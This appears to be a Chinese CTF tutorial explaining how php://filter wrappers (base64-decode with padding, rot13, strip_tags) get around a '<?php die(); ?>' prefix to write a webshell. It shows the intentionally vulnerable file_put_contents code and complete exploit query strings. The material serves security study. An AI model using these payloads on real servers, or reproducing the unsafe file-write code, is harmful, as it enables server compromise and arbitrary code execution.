前言
一个CTF比赛中差不多用烂的一个考点,考察选手对php伪协议的灵活运用
前置知识
0x1
Base64解码只解码字符表中的字符,对不在字符表中的字符会直接忽略(相当于置换为空),这里举个例子
F12的base64编码是 RjEy,我们插入一些不在字符表中的字符,仍然可以解码出正确结果
0x2
Base64编码简单来说就是3个字节变4个字节,所以编码后的字符串一定满足4的倍数,满足4的倍数就能进行base64解码
漏洞分析
危险代码
<?php
$filename = $_GET["file"];
$content = $_GET['content'];
if (isset($content) && isset($filename)) {
@file_put_contents($filename, '<?php die(); ?>'.$content);
}else{
highlight_file(__FILE__);
}
?>
很明显我们可以写入一个php文件,从而进行getshell,但是在我们写入的内容之前有个<?php die(); ?>
,假设我们传入的?content=<?php phpinfo();?>
,那么写入文件中就会是<?php die(); ?><?php phpinfo(); ?>
,这样即使我们访问了这个php文件,也会因为die而提前退出,并不会执行到后面的phpinfo
php伪协议利用
convert.base64-decode
我们这样进行传参?file=php://filter/convert.base64-decode/resource=shell.php&content=abPD9waHAgcGhwaW5mbygpOz8%2b
根据上面所说的前置知识,字符只需要满足4的倍数就能进行base64解码,就算是乱码也没关系,由于不在字符表中的字符会被忽略,所以解码的字符是phpdie
,只有6个字符,所以我们手动传入两个字符ab加上<?php phpinfo();?>
的base64编码,就能成功写入有效的webshell
string.rot13
注意:此方法需要关闭短标签(short_open_tag),不然会因为短标签报错
我们这样进行传参?file=php://filter/string.rot13/resource=shell.php&content=<?cuc cucvasb();?>
,这时整体的内容是<?php die();?><?cuc cucvasb();?>
,我们这个解码器会对传入的值进行rot13解码,所以写入文件的内容是<?cuc qvr();?><?php phpinfo();?>
,这样也成功的去除了die
string.strip_tags
该协议的使用是将字符串中的 HTML、XML 以及 PHP 的标签或者数组中的 HTML、XML 以及 PHP 的标签剥除.(PHP 7.3.0 起废弃),而就是php的标签,使用该协议即将直接去除
我们这样传参?file=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php&content=PD9waHAgcGhwaW5mbygpOz8%2b
,这样就会将<?php die();?>
进行去除后再进行base64解码,就能成功写入有效的webshell